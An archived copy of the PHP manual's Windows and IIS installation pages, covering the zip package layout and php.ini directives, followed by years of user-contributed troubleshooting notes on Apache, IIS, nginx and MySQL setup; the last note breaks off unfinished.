VC9 Versions are compiled with the Visual Studio 2008 compiler and have improvements in performance and stability. The VC9 versions require you to have the » Microsoft 2008 C++ Runtime (x86) or the » Microsoft 2008 C++ Runtime (x64) installed.

The PHP package structure and content

Unpack the content of the zip archive into a directory of your choice, for example C:\PHP\. The directory and file structure extracted from the zip will look as below:

Example #1 PHP 5 package structure

c:\php
   |
   +--dev
   |  |
   |  |-php5ts.lib                 -- php5.lib in non thread safe version
   |
   +--ext                          -- extension DLLs for PHP
   |  |
   |  |-php_bz2.dll
   |  |
   |  |-php_cpdf.dll
   |  |
   |  |-...
   |
   +--extras                       -- empty
   |
   +--pear                         -- initial copy of PEAR
   |
   |
   |-go-pear.bat                   -- PEAR setup script
   |
   |-...
   |
   |-php-cgi.exe                   -- CGI executable
   |
   |-php-win.exe                   -- executes scripts without an opened command prompt
   |
   |-php.exe                       -- Command line PHP executable (CLI)
   |
   |-...
   |
   |-php.ini-development           -- default php.ini settings
   |
   |-php.ini-production            -- recommended php.ini settings
   |
   |-php5apache2_2.dll             -- does not exist in non thread safe version
   |
   |-php5apache2_2_filter.dll      -- does not exist in non thread safe version
   |
   |-...
   |
   |-php5ts.dll                    -- core PHP DLL ( php5.dll in non thread safe version)
   |
   |-...

Below is the list of the modules and executables included in the PHP zip distribution:

  • go-pear.bat - the PEAR setup script. Refer to » Installation (PEAR) for more details.

  • php-cgi.exe - CGI executable that can be used when running PHP on IIS via CGI or FastCGI.

  • php-win.exe - the PHP executable for executing PHP scripts without using a command line window (for example PHP applications that use Windows GUI).

  • php.exe - the PHP executable for executing PHP scripts within a command line interface (CLI).

  • php5apache2_2.dll - Apache 2.2.X module.

  • php5apache2_2_filter.dll - Apache 2.2.X filter.

Changing the php.ini file

After the php package content has been extracted, copy the php.ini-production into php.ini in the same folder. If necessary, it is also possible to place the php.ini into any other location of your choice but that will require additional configuration steps as described in PHP Configuration.

The php.ini file tells PHP how to configure itself, and how to work with the environment that it runs in. Here are a number of settings for the php.ini file that help PHP work better with Windows. Some of these are optional. There are many other directives that may be relevant to your environment - refer to the list of php.ini directives for more information.

Required directives:

  • extension_dir = <path to extension directory> - The extension_dir needs to point to the directory where PHP extensions files are stored. The path can be absolute (i.e. "C:\PHP\ext") or relative (i.e. ".\ext"). Extensions that are listed lower in the php.ini file need to be located in the extension_dir.

  • extension = xxxxx.dll - For each extension you wish to enable, you need a corresponding "extension=" directive that tells PHP which extensions in the extension_dir to load at startup time.

  • log_errors = On - PHP has an error logging facility that can be used to send errors to a file, or to a service (i.e. syslog) and works in conjunction with the error_log directive below. When running under IIS, the log_errors should be enabled, with a valid error_log.

  • error_log = <path to the error log file> - The error_log needs to specify the absolute, or relative path to the file where PHP errors should be logged. This file needs to be writable for the web server. The most common places for this file are in various TEMP directories, for example "C:\inetpub\temp\php-errors.log".

  • cgi.force_redirect = 0 - This directive is required for running under IIS. It is a directory security facility required by many other web servers. However, enabling it under IIS will cause the PHP engine to fail on Windows.

  • cgi.fix_pathinfo = 1 - This lets PHP access real path info following the CGI Spec. The IIS FastCGI implementation needs this set.

  • fastcgi.impersonate = 1 - FastCGI under IIS supports the ability to impersonate security tokens of the calling client. This allows IIS to define the security context that the request runs under.

  • fastcgi.logging = 0 - FastCGI logging should be disabled on IIS. If it is left enabled, then any messages of any class are treated by FastCGI as error conditions which will cause IIS to generate an HTTP 500 exception.

Optional directives

  • max_execution_time = ## - This directive tells PHP the maximum amount of time that it can spend executing any given script. The default for this is 30 seconds. Increase the value of this directive if PHP application take long time to execute.

  • memory_limit = ###M - The amount of memory available for the PHP process, in Megabytes. The default is 128, which is fine for most PHP applications. Some of the more complex ones might need more.

  • display_errors = Off - This directive tells PHP whether to include any error messages in the stream that it returns to the Web server. If this is set to "On", then PHP will send whichever classes of errors that you define with the error_reporting directive back to web server as part of the error stream. For security reasons it is recommended to set it to "Off" on production servers in order not to reveal any security sensitive information that is often included in the error messages.

  • open_basedir = <paths to directories, separated by semicolon>, e.g. openbasedir="C:\inetpub\wwwroot;C:\inetpub\temp". This directive specified the directory paths where PHP is allowed to perform file system operations. Any file operation outside of the specified paths will result in an error. This directive is especially useful for locking down the PHP installation in shared hosting environments to prevent PHP scripts from accessing any files outside of the web site's root directory.

  • upload_max_filesize = ###M and post_max_size = ###M - The maximum allowed size of an uploaded file and post data respectively. The values of these directives should be increased if PHP applications need to perform large uploads, such as for example photos or video files.

PHP is now setup on your system. The next step is to choose a web server, and enable it to run PHP. Choose a web server from the table of contents.

In addition to running PHP via a web server, PHP can run from the command line just like a .BAT script. See Command Line PHP on Microsoft Windows for further details.

User Contributed Notes

s_drac2 at yahoo dot com 10-Oct-2014 03:19
"PHP 5.3 VC6 or PHP 5.2 VC6."

I can't find the VC6 files on the download page, is VC9 the one to use?
Tramb 06-Dec-2012 10:54
Symptoms:
 MySQL is enabled in php.ini, console run of phpinfo() shows that MySQL is enabled, phpinfo() under IIS shows no MySQL.

Solution:
 For 32-bit Windows - copy libmysql.dll to WINDOWS\System32\ directory.
 For 64-bit Windows, when IIS is running 32-bit application pool, instead of copying libmysql.dll to WINDOWS\System32\ directory, copy it to WINDOWS\SysWOW64\ directory.
MattH 16-Apr-2012 03:26
Just a quick note that the visual C requirements for PHP under a windows 64 bit environment aren't for the x64 version, but for the x86 version. Tried installing PHP 5.4 on Server 2008 R2 after installing the x64 version and got:

The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail.

Which is basically saying that it can't find the correct C++ package, so after installing the x86 version this error went away. YMMV.
v_moral at hotmail dot com 25-Feb-2011 01:13
Problems setting up PHP as an Apache module under Windows?

To install php+apache+win32+mysql with PHP as an Apache module consider the following hints :

- download the 'VC6 x86 Thread Safe' zip file from http://windows.php.net/download/ .
Couldn't make the Non Thread Safe version to work as a loadable module from Apache.

- if you set extension=php_mysql.dll and still have problems, copy the file  libmysql.dll (shipped with php's zip) to your WINDOWS\System32\ directory.
The apache-mysql module fails trying to find this library.
pragal86 at gmail dot com 02-Feb-2011 12:36
step 1 : clear port 80. ( my computer->manager ->services and application ->services ->iis ->disable )

step 2 : install Apache by exe.

    (check if green color is display near apache otherwise some problem in Apache installation).

step 3 : Copy php folder and past it into 'c directory' .

step 4 : Give class path = c:\php;c:\php\ext;

    (mycomputer->properties->advance->environmentalproperties->path = c:\php;c:\php\ext; ).

step 5 :  Open httpd.conf, that is located in Apache web server installation folder, under conf directory i.e.,

    Apache Installation folder > conf > httpd.conf

    Add these lines....

    LoadModule php5_module "c:/php/php5apache2_2.dll"

    AddType application/x-httpd-php .php

    PHPIniDir "C:/php"

Step 6: goto php installation directory, there u'll find a file named php-ini-recommended, rename it to, 'php.ini'.

Step 7: Now time to modify php-ini, file... open the file in notepad, look for extension=php_mysql.dll,

    uncomment it, i.e., delete ";" thats prefixed...also look for "extension_dir=" append "C:\php\ext"

    incase ur php installation directory is php else "C:\%installation dir%\ext"

sterp 8 : find directory index in http.conf and add index.php with index.html

Step 9: Copy libmysql.dll to c:\windows\system32

step 10 : run mysql exe to install it.

step 11 : download phpmysql and place that in htdocs and rename it to phpmyadmin.s

    check php and apache installation by give 'local host' in address bar in any browser, If 'Its work' is displayed then its installed correctly and

    check the green color in Apache.

    Php and apache installation is done ......:):)
jp at pulgadascubicas dot com 05-Dec-2010 09:43
Trying to install PHP 5.3.3 VC9 Non-Thread-Safe on Windows 2008 Server running IIS 7.5.

Followed the instructions carefully but still got a 500 error trying to open the classig phpinfo page. After a lot of searching I discovered that everything worked fine after changing the php.ini directive fastcgi.logging from 0 to 1, contrary to what the directions said. I wonder if it was a typo on the instructions or if something changed after a few versions.

Hope this saves someone a couple of hours of searching.
Anonymous 23-Apr-2010 05:07
It should be noted that even before starting PHP installation, you should research extension requirements for those you plan to use.  For a list of common extensions and dll requirements and prerequisites, see the table on this php.net page: http://www.php.net/manual/en/install.windows.extensions.php

Commonly used extensions are listed in alphabetical order in the default php.ini file that comes with the windows packages.  Some extensions must be loaded before others or else the server may crash with an unhelpful, seemingly unrelated dll error.  For example, in your php.ini file, you must manually place 'extension=php_exif.dll' -after- 'extension=php_mbstring.dll' if you wish to use the exif and mbstring extensions or else your server may crash.  The msi installer may or may not automatically have correct load order, but for manual installs, it does not.

Do not attempt to uncomment extension lines in the default php.ini file that comes packaged with php install or zip packages without knowing what you're doing.  Before loading extensions in this manner, be sure you have met the prerequisites for load order and have ready any missing dll files listed in the above link.
rich at corephp dot co dot uk 02-Jul-2009 02:02
The part about adding the Path to the System Environment Variables is different on Vista. On XP you DO need to reboot for the Path change to be picked-up correctly. On Vista however you do not, the change is instant.
dkflbk at nm dot ru 19-Jun-2009 03:46
There is a way to install PHP with nginx-server under windows (current version is 0.7.60)

Step-1 (install nginx server)
Just extract nginx-0.7.60.zip in C:\nginx-0.7.60

In C:\nginx-0.7.60\conf\nginx.conf uncomment and edit following lines

        location ~ \.php$ {
            root           html;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME  C:/nginx-0.7.60/html$fastcgi_script_name; #this is the one line for edition
            include        fastcgi_params;
        }

and run C:\nginx-0.7.60\nginx.exe (the server is started)

Step-2 (install PHP5)
Just extract php in C:\PHP5

Create (or modify) php.ini

extension_dir="ext/" ;for extensions

And run C:\PHP5\php-cgi.exe -b 127.0.0.1:9000
txyoji 17-Apr-2009 04:36
php 5.1.6 zip package for windows does not include a module for apache2.2.

Use apache2.0.x or 1.3.x instead.
dee at example dot com 04-Feb-2009 10:57
I did a clean install of Apache 2.2 and PHP 5.2.6 due to conflicts with the old httpd.conf file I had and ran into the "Call to undefined function mysql_connect()" error when trying to run a script that connects to MySQL.

To resolve it I had to copy libmysql.dll from my PHP installation directory to the "bin" folder of my Apache install directory.

I checked the forums.mysql.com as someone else suggested which lead me to this site with the missing step I needed (http://www.artfulsoftware.com/php_mysql_win.html). I spent a good part of the afternoon trying set this up. Hopefully it helps someone out.
chhabra_gurpreet at yahoo dot com 11-Jan-2009 08:34
Hi everyone, well i've been trying to configure, install, this setup i.e., Apache, php and mysql, well the prb wat i faced was that most of the installation instructions were quite outdated as they used quite old softwares... well these are the simple steps install and configure this entire setup, hope it will help u....(this is for windows)
Software versions:
Apache - 2.2.11
Mysql -  5.1.30-community
Php - PHP Version 5.2.8

Step 1: Default installation of Apache
Step 2: Default installation of mysql
Step 3: Download php zip file, extract it to ur C: drive under c:\php
Step 4: Add these paths to ur classpath, "C:\php", "C:\php\ext", incase ur installation directory is php, else watever is the name of ur php installation directory use that instead of php
Step 5: Open httpd.conf, that is located in Apache web server installation folder, under conf directory i.e.,
Apache Installation folder > conf > httpd.conf
Add these lines....
>LoadModule php5_module "c:/php/php5apache2_2.dll"
>AddType application/x-httpd-php .php
Step 6: goto php installation directory, there u'll find a file named php-ini-recommended, rename it to, php-ini.
Step 7: Now time to modify php-ini, file... open the file in notepad, look for extension=php_mysql.dll, uncomment it, i.e., delete ";" thats prefixed...also look for "extension_dir=" append "C:\php\ext" incase ur php installation directory is php else "C:\%installation dir%\ext"
Step 8: Copy libmysql.dll to c:\windows\system32

done.......... ;)
philmee95 at gmail dot com 27-Jul-2008 11:52
64 bit windows issues. PHP is 32 bit, and w3svc can only run under 32 or 64...not both. You will have to set 32 bit compat mode.
http://www.iisadmin.co.uk/?p=14
supportatradiormidotcom 13-Mar-2008 01:44
Im running Win 2003 PHP 5 with the isapi.dll thanks to this sipmle tutorial hope it will help someone.Cerdit goes to Peterguy.

http://www.peterguy.com/php/install_IIS6.html

Follow the instructions, PHP install made easy
bill at onemeg dot com 20-Feb-2008 12:48
Your PHP.INI file is not required to be in the C:\WINDOWS folder in XP.  The trick is to make sure that the PHP.INI can be found.  If you fail to reboot after adding the PHP folder to the path and creating the PHPRC environment variable, the file will likely not be found.  If you can't reboot, then try creating the registry entries as described in the following document:

http://www.php.net/manual/en/configuration.php

When you execute "phpinfo();" pay special attention to the data returned in "Loaded Configuration File".  If it does not show a path and a the PHP.INI file name, the file is not being loaded.  The path of C:\WINDOWS in the Configuration File Path section is the default location where PHP looks for the INI file and does not mean that the file must be located there; in fact, the following document suggest that you leave the configuration file in the C:\PHP folder:

http://www.php.net/manual/en/install.windows.manual.php
ik2008 at sipvantage dot com 18-Jan-2008 09:34
In windows XP, the php.ini file must be in c:\windows directory. Or else most of the functions will work except mysql functions. The very first mysql command mysql_connect will fail with the following message "Call to unsupported or undefined function mysql_connect(); "
fgabrieli at gmail dot com 10-Jul-2007 05:55
Problem:
Error in my_thread_global_end(): 1 threads didn't exit

It seems that php 5.2.3 libmysql.dll does not work as expected, because Apache shows this error in the logs when we use mysql_*() functions

Solution:
I found it here:
http://forums.mysql.com/read.php?10,153077,155121#msg-155121

which is to replace 'libmysql.dll' file in your PHP installation directory (also in winnt/system32 if you copied it there) with the Dll from PHP 5.2.1

You can download the second one from here:
http://www.php.net/get/php-5.2.1-Win32.zip/from/a/mirror

Regards,
Fernando Gabrieli
sam b 29-Jun-2007 10:53
I ran across the same problem listed below, using IIS6 instead of Apache on Windows Server 2003.

It seemed that I could run a PHP script on the command line just fine, and lines such as:
<? if(function_exists("mysql_connect")) echo "MySQL is present."; ?>
ran without error, and printed as expected.

Loading the file via IIS (using Firefox from my Ubuntu workstation), it wouldn't print anything, indicating that the MySQL extension hadn't been loaded.

Fix: rename/delete all "libmysql.dll" except for the one in "C:\PHP\ext" or equivalent.

... Same fix as listed below, but I wanted to point out: it's relevant to IIS as well.
adozolj at yahoo dot com 28-Jun-2007 06:41
I got the 'Fatal Error: call to unindentified function mysql_connect()' and resolved it after many hours of troubleshooting. The problem has to do with the libmysql.dll file residing in multiple directories. It SHOULD only be in the php directory. So, erase the copy in mysql bin and the apache bin and restart apache. I hope this helps someone. if this doesn't help check out forums.mysql.com and search "Call to undefined function mysql_connect". (i got the solution to this problem from here)
Shivan at Freenet dot de 27-Jun-2007 10:57
I had the same problem on IIS6 with php 5.2.3, that I got a blank page and nothing more, but the phpinfo(); worked.

The cause wasn't the not-set doc_root, but after enabling "show errors" I got an error message, that my script used more than 8 MB... ;)

After enlarging memory it worked :))))
dr dot juanc at yahoo dot com 18-Apr-2007 04:18
Installing PHP5.2.1 in IIS 6.0 bring me some troubles too.

First i need to use full tag to make it your php script works and second the IIS didn't want to load the extension in the ext folder. I cheked the configuration a couple of thousand of time and everything seen to be ok.

I fixed up given read access in the "ext" folder to de "IUSER/PCNAME" user or to everyone/PCNAME user to the same folder. Just in case i did the same in the rest of the folder inside the php folder.

I wish nobody loose an all day in the same thing, like me.

excuse my english please
shane 20-Mar-2007 11:17
IIS Windows 2003 server.

You have upgraded to PHP5 from PHP4. phpinfo- works fine. You cannot however communicate with mysql (for example) through phpMyAdmin as it throws up an error stating it cannot load the mysqli extension and/or you get the 'bad handshake' warning.

Solution: update your libmySQL.dll file in your system32 folder. This requires you to stop all internet services on your computer i.e IIS. Full details below.

#############################
Background: my server is set up as follows:

php files folder == C:\PHP
I have configured my php.ini file opening up the required extensions etc
I have mapped the necessary extension to IIS
I have configured my website extension(s)
I have mapped  my windows path ';C\PHP;C\PHP\ext'
I have registered my ini file
I have tested my phpinfo() and it works
I have installed phpMyAdmin and it refuses to work
I have tried simple mysql connection scripts ...nada
I have checked everything 50 times
I am bald.

Then I did this:

##############################

1) Copy 'libmySQL.dll' from C:\PHP (or the folder where you have loaded php into)

2) Open 'Windows\system32' folder. Do nothing at the moment, just have this window 'to hand'.

3)Open IIS manager snap in(control panel - administrative tools - IIS manager)

Right click server name as shown below:

- Internet Information Services
    - My Computer (local computer) - right click

Select 'all tasks' then 'Restart IIS...'
Use drop down then select 'stop internet services on XXXXX' and click 'OK'

4) Return to your 'Windows\system32' folder. Paste 'libmySQL.dll' (it is already in your clipboard from step 1). It will warn you about overwrite the current one. Select YES.

5) Return to IIS manager. Follow steps as in '3' above except now choose 'Restart Internet Services on XXX' (the default option), click OK.

#############################

I hope this works for you.
hkhasgiwale at gmail dot com 06-Feb-2007 07:26
I wasted a lot of time trying to figure out the problem of not being able to display my 'test.php' demo script to work, the file lay in my IIS 5 " C:\inetpub\wwwroot" folder.

The file contents of test.php were:
<?php>
phpinfo();
<?>

Windows php installer version was 5.2.0

Problem lay in the minute dumb feature of windows explorer being used t change(rename) text file extension from 'test.txt' to 'test.php'.
The resultant name looked by the IIS was still 'test.php.txt'.

I used command line to change the filename to 'test.php' and it displayed in my browser.

http://localhost/test.php, worked right away.
Daniel 02-Dec-2006 06:11
Re: Manual Configuration, pathing errors in IIS and ISAPI setup

Chris @ 11-Oct-2006 and phpmanual at pbb dot dds dot nl @ 07-Oct-2004 are both correct.

Problem is not with PHP but with IIS (mine is v5.1).

Installed PHP into C:\Program Files\PHP, and set environment variable PATH to path as stated.

When selecting the installation of php5isapi.dll via IIS Administrator, IIS would insert the path as:

"C:\Program Files\PHP\php5isapi.dll" (note the quotes and space in directory name)

All scripts ran and produced a HTTP 500 error.

Replaced ISAPI path in IIS with:

C:\PROGRA~1\PHP\php5isapi.dll (note the removal of the quotes and spaces, and the replacement of the path with 8.3 format names)

All scripts ran w/o problems.

Thanks to all! I hope someone can report if a similar problem exists with IIS6/7.
Chris 12-Oct-2006 04:58
RE:  phpmanual at pbb dot dds dot nl  @ 07-Oct-2004 11:29

You are correct.  I just had the same issue; I was following the PHP installation instructions and some very helpful WIMP instructions.

I was trying to keep things tidy by putting my PHP directory in C:\Program Files\PHP.  I set the PATH variable, ISAPI filter config and extension in Application Configuration, but was getting the "Specified module could not be found" error.

Changed the PHP directory to C:\PHP and reconfigured everything, did an iisreset, and it started working immediately.

Good catch, and thank you!
mega-squall at caramail dot com 23-Jul-2006 11:19
Remember to enter FULL PATH in the extension_dir parameter in php.ini ! Using only "./ext/" or any relative path will have your PHP failing to load extensions when called by Apache. That's quite tricky 'cause extensions are working when PHP is used through command line ...
Jason Greene 04-May-2006 03:06
If you are running websites within an Application Pool (which is now the default for IIS6 under 2K3) you need to make sure that your PHP directory (e.g. C:\PHP) has read permissions for the user assigned to the Application Pool.

1. In the IIS snap-in, choose Application Pools
2. Right-click on DefaultAppPool (or other, if you have one defined) and choose Properties
3. Click the Identity tab
4. Make a note of the user name set as the security account for this application pool (e.g. "Network Service")
5. Browse to your PHP directory and grant that user read permissions for the entire directory.

In my case, I had to add permissions for the user "NETWORK SERVICE" to get PHP scripts to work. Otherwise I received 401/403 authorization errors when trying to load them in a remote browser.

Note also that first tried adding IUSR permissions to the PHP directory, but that had no effect.
Ben 07-Apr-2006 12:17
In the Note Titled "Windows Server 2003 (x64 bits) + IIS 6.0" in step 1 when adding your new .php extension, it will not work unless after you click on the "Home Directory" you make sure that your "Execute permissions:" are set to "Scripts Only".

By default, on my machine, the permissions were set to "None" not allowing php to run.

Also, for more security it might be wise to Add the new extension just to your default site instead of the whole Web Sites folder in IIS. This would only apply if you were hosting multiple sites and had a site you didn't want scripts to run on.
Tom 14-Feb-2006 06:54
On this page and the FAQ they point out that to reset the Windows PATH variable to include your php dir, you need to completely restart the machine.

If you can't afford to do that (installing on a live server for example), you can use the setx.exe tool from the Windows Resource Kit (google it). Like so:

c:\pathtoresourcekit> setx.exe PATH "%PATH%;c:\php" \m
Windows Server 2003 (x64 bits) + IIS 6.0 01-Feb-2006 12:16
1. Add new extension (.php)

    * Expand the local computer in the left pane
    * Right-click on "Web Sites" in the left pane, then click "Properties" in the menu that pops up
    * Flip top the "Home Directory" tab
    * Click "Configuration"
    * Flip to the "Mappings" tab
    * Click "Add..."
    * Enter the full path to php5isapi.dll in the "Executable" textbox (Browse... to find it more easily if you need to)
    * Enter ".php" in the "Extension" textbox
    * Select radial button "Limit to", enter "GET,POST,HEAD"
    * Click "OK" all the way out

2. Verify php5isapi.dll is allowed

You must verify that the versions of php5isapi.dll that you want to use are allowed.

   2.1. In Internet Information Services (IIS) Manager, in the left-hand column, click the Web Services Extensions node and verify php5isapi.dll is allowed and all other Web Service Extensions are prohibited.
   2.2. If the version of php5isapi.dll that you want to use does not appear in the list, follow the instructions to enable it and then repeat this procedure:

Go into IIS
Below all of the websites is a folder: Web Service Extensions
In blue, to the lower left, is a choice: Add A New Web Service Extension
Add PHP/PHP5ISAPI.dll
Choose To ALLOW it.

   2.3 If the version of php5isapi.dll you want to use appears on the list but is not allowed, right click the version of php5isapi.dll you want to allow and click Allow.

3. Configuring IIS for 32-Bit Emulation Mode (THIS IS MOST IMPORTANT!!!!)

3.1. If you are installing IIS on x64-based editions of Windows Server 2003 or Windows Server 2003 R2, IIS must be configured to run in 32 bit emulation mode. Perform the following procedure on each front-end Web server running an x64-based edition of Windows Server 2003.
Configure Internet Information Services (IIS) for 32-bit mode

   1. Click Start, and then click Run.
   2. In the Open box, type cmd, and then click OK.
   3. In the command prompt window, navigate to the %drive%:\Inetpub\Adminscripts folder, where %drive% is the drive in which Windows Server 2003 is installed.
   4. In the Adminscripts folder, type the following command:

      cscript adsutil.vbs set w3svc/AppPools/Enable32bitAppOnWin64 1

      Note  The value "1" for Enable32bitAppOnWin64 specifies 32-bit mode, whereas the value "0" specifies 64-bit mode.
   5. Press ENTER.
   6. Type iisreset and then press ENTER.
   7. Close the command prompt window.
   8. Re-star System.

Note  The Run WWW service in IIS 5.0 isolation mode check box is only selected if you have upgraded to IIS 6.0 on Windows Server 2003 from IIS 5.0 on Windows 2000. New installations of IIS 6.0 use IIS 6.0 worker process isolation mode by default.
patatraboum at nospam dot com 27-Dec-2005 03:09
IIS + PHP

- The browser can't find your php code like localhost/dir/dir_code.php from any virtual directory (404 error)
- You are sure the code exists
You may rename it with a .html extension and check if it displays
- Process of your php code like localhost/root_code.php is ok from the root directory

It may come from the doc_root directive in php.ini whitch should be set to blank :

doc_root =

Then restart IIS to reload php.ini
some dude @ some place 04-Nov-2005 05:57
on two recent installation attempts on iis6 on win2k3 i followed the php manual and windows configuration steps exactly and php would still not run.

on the first install i had to give the USER account (not IUSR) read execute permissions to this file, c:\php\sapi\php4isapi.dll. using filemon i saw that it was being accessed and access was denied.

steps:
- right click on this file > properties > security > add > location (select the server -not domain if listed) > advanced > find now > Users (usually the last item) > click OK
- select Read & Execute > apply

also a complete computer restart was required in each install
Bill dot Rook at Gmail dot com 18-Sep-2005 07:09
doc_root = ".;c:\inetpub\wwwroot" does seem to work with virtual websites. This might be a better option then commenting out the line.
Jason 10-Sep-2005 01:54
For me atleast, the steps for installing php 5 on IIS 6 on windows 2003 seemed to get buried with the other setups. I found it difficult to quickly look through and make sure I covered every step. So I created a clean step by step tutorial with screenshots:
http://psdforums.com/article.php?a=9
atomictaco at atomic-taco dot com 10-Jul-2005 06:17
In response to phpmanual at pbb dot dds dot nl:

You are absolutly correct.  I found this out while trying to install PHP4 with Apache2 on XPPro.  Here are 3 general guidelines that I have found to be correct:

- Path may not have spaces.  Change C:\Program Files to C:\Progra~1  If you don't understand this, go to start-->run-->command (not cmd).  Type cd\ and hit enter.  Then type dir.  You should see all your directory names there.

- Paths should not be enclosed by quotes.

- Use forward slashes (/) and not backslashes (\)
thierry dot bo at nxextxcxoxuxrxrxixexr dot com 20-Dec-2004 01:50
With PHP 4.3.x and apache 1.3.x on windows, PHPRC is used only if php is installed as cgi. With module, no matter using setenv in httpd.conf or PHPRC as windows environment variable, it is not used.
cpz at akik-ffm dot de 19-Dec-2004 07:24
In the above, "the web server's directory" means the directory where the server executable lives, for example for the Apache installation on my XP box this is "\program files\apache group\apache2\bin" and NOT just "\program files\apache group\apache2".

But it's probably best to tell your web server where PHP's ini file is stored, for example via PHPIniDir for Apache's http.conf.
chuacheehow at gmail dot com 08-Oct-2004 02:55
My experience with IIS 5.1 is that the doc_root directive be commented in order for virtual directories to recognise PHP files (with PHP installed as CGI).
phpmanual at pbb dot dds dot nl 07-Oct-2004 03:29
Okay, I'm a total newbie to this, so my findings may be wrong, but this is what I found out.

The manual says "do not have spaces in the path (like C:\Program Files\PHP) as some web servers will crash if you do". Indeed, when using this with PHP5 on WinXP, I got the error message "The specified module could not be found."
However, the problem seems not to lie in the SPACE in the pathname, but in the QUOTES that Windows adds when a space is in the pathname! This is what I found:

"C:\Program Files\php5\php5isapi.dll" -- doesn't work
C:\php5\php5isapi.dll -- works
"C:\php5\php5isapi.dll" -- doesn't work
C:\Progra~1\php5\php5isapi.dll -- works
"C:\Progra~1\php5\php5isapi.dll" -- doesn't work
C:\Program Files\php5\php5isapi.dll -- doesn't work, because it's not accepted by Internet Information Services

I don't know if this all is a problem with Internet Information Services or with PHP, but it would be nice if it was more documented in the PHP manual.
php dot user dot com 29-Aug-2004 10:43
After having the same problem as specifed below with "No input file specified". I changed the doc_root as mentioned.

This is fine if all php scripts are going to be run from the c:\inetpub\wwwroot directory. To enable it for multiple websites where the root directories are all different simply leave the doc_root attribute in the php.ini file blank.

This is for the isapi version not cgi implementation. It also means you don't have to set IUSR or IWAM access to the PHP root directory.


Microsoft IIS

This section contains PHP installation instructions specific to Microsoft Internet Information Services (IIS).

  • Manually installing PHP on Microsoft IIS 5.1 and IIS 6.0
  • Manually installing PHP on Microsoft IIS 7.0 and later

User Contributed Notes

user at www dot thewindowshelp dot com 10-Mar-2014 08:12
For those of you that would like visuals, there's a video tutorial that will help you get PHP5 installed on Windows 2K3 w/ IIS6.

It's pretty straight forward.

The link to the site, if you're interested, is:
http://www.thewindowshelp.com/

The title is:
Installing PHP5 on Windows 2003 and IIS6

I hope this helps others as it did me.

Scott
zoe 21-Oct-2009 06:21
ISAPI is not maintained anymore, the SAPI for IIS is now FastCGI.
Rory Clerkin 01-Jul-2009 05:30
In the most recent release (currently 5.3.0) isapi is no longer compiled for distribution. You need to use FastCGI to get PHP to work with IIS.
FastCGI is an MS development and can be gotten at the link below;

http://www.iis.net/
bbohl2 at yahoo dot com 14-Jan-2009 11:11
For those running IIS on Windows 2003 x64 in 32 bit mode, the registry setting for finding php.ini must start with HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432NODE\PHP.
meltir at meltir dot com 20-Nov-2008 11:13
Note that you also have to make sure that the permissions to the php installation directory are proper -
by default they do not allow execution of php.exe and the dlls from your install dir via IIS.
(i kept getting a 401.3 ACL error)
frubi at frubi dot net 26-Mar-2008 12:51
Under Win2003, you don't need to restart the services, if you only add PHP to a new website with its own application pool.
bbxmail1 at job1data dot com 13-Feb-2008 06:04
i think the install steps are generally covered in the installation guideliness on this website, but this step by step guide and its explanations make the install on SBS2003 much easier to follow and implement. I spent about 3 hours searching threads and forums and not getting it all until i followed the steps at this link.
http://www.peterguy.com/php/install_IIS6.html#IISConfigure
shanef dot jordan at gmail dot com 31-Oct-2007 02:24
Make sure in IIS that when you set the permissions on C:\PHP that it inherits to the folders/files within that directory.  I was doing a reinstall on a 2003/IIS 6 and whoever did the previous install took off inherit permissions.  Fought with that for several hours!!
paul_lynch67 at hotmail dot com 09-Sep-2007 09:40
Hi,

I've written a manual installation guide for PHP 5.x on Windows Server 2003 and IIS 6.0 which you can find here :

http://www.iisadmin.co.uk/?p=4

This is the same article which used to be hosted on the IIS Resources web site. I hope some of you find it useful.

Regards,

Paul Lynch [IIS MVP]
stevegath at gmail dot com 27-Jul-2007 06:38
After a few hours of trying everything under the sun to get PHP 5.2.3 to work on Windows Small Business Server 2003 with IIS6 with ISAPI starting from the msi install of from php.net.  I found that the install correctly used the path C:\PROGRA~1\PHP\PHP5IS~1.DLL in adding the Mapping for .php but for the Web Service Extension it used C:\Program Files\PHP\php5isapi.dll.  When I changed this to C:\PROGRA~1\PHP\PHP5IS~1.DLL.  It worked right away.  Before this change I would get a 404 error when accessing php pages.  Moral of the story is avoid spaces in all paths.
carsten at enggaardblom dot dk 10-Apr-2007 06:11
Installing PHP 5.2.1 on a Windows 2K3 Server with SP1 and IIS 6.0

- was about to give me the head ache of the year! It is NOT - repeat - NOT possible to use the CGI on a server but ISAPI works perfectly. The documentation mentions both - but cgi/fastcgi is definetely a no go.

Using the PHP installer I used the IIS option, corrected the recommended php.ini file and added the extensions I wanted.

And at this point - too - you have to restart the server to make it work, a restart of only the IIS service is not sufficient.

So mark my words, use ISAPI and don't get any errors!
16-Mar-2007 04:06
This one threw me for a loop; you CAN NOT put the PHP folder in Program Files if you're installing on IIS!  I guess the space in "Program Files" throws it off, I was getting a "You must enter a valid file path" error when trying to add the PHP mapping manually.
EvilPuppetMaster 24-Mar-2006 04:39
After having recently gone through a long process of trial and error installing both php4 and php5 on a single machine under IIS. I eventually did get it working so I thought I'd share what I learnt.

Basically, as far as I can tell there is no way to get both versions working using the ISAPI dlls unfortunately. You can however get them working using one as ISAPI and the other as CGI. And probably both as CGI too, although I didn't try that.

You'll need to know how to do a manual install of PHP anyway, see the instructions for how to do that. Make sure you follow the steps about your PATH env variable and Allowing extensions on IIS 6. Keep your php.inis in the relevant php directory and make sure they are not in your windows or system32 folders. And all that other hoopla.

The crucial part is your php.ini files. The problem being that both versions will look at your PHPRC setting and get the ini file path from that. So you'll end up with both versions running off the same INI which is no good. The way around this is to use the CGI for one version and ISAPI for the other.

The ISAPI dll never seems to look in it's own directory for the ini file, but the CGI exe does. You can use that quirk to your advantage by naming the INI file for the ISAPI version 'php-isapi.ini' and setting the PHPRC environment variable to that path. Then for the CGI version keep the php.ini in the same directory as php.exe.

Then set your virtual server to use either the ISAPI module for one version, or the CGI module for the other version, and it should work. Test using phpinfo() to ensure each version is getting it's ini file from the correct place.

Basically it seems that the ISAPI module will look in the path set in PHPRC first, and choose the php-isapi.ini file. The CGI module will look in PHPRC first too, but it upon seeing no php.ini it will then move on to search it's own directory, where it finds php.ini.
paul_noeldner at hotmail dot com 04-Oct-2005 04:58
PROBLEM
    PHP $DOCUMENT_ROOT was not set in IIS.
ANALYSIS
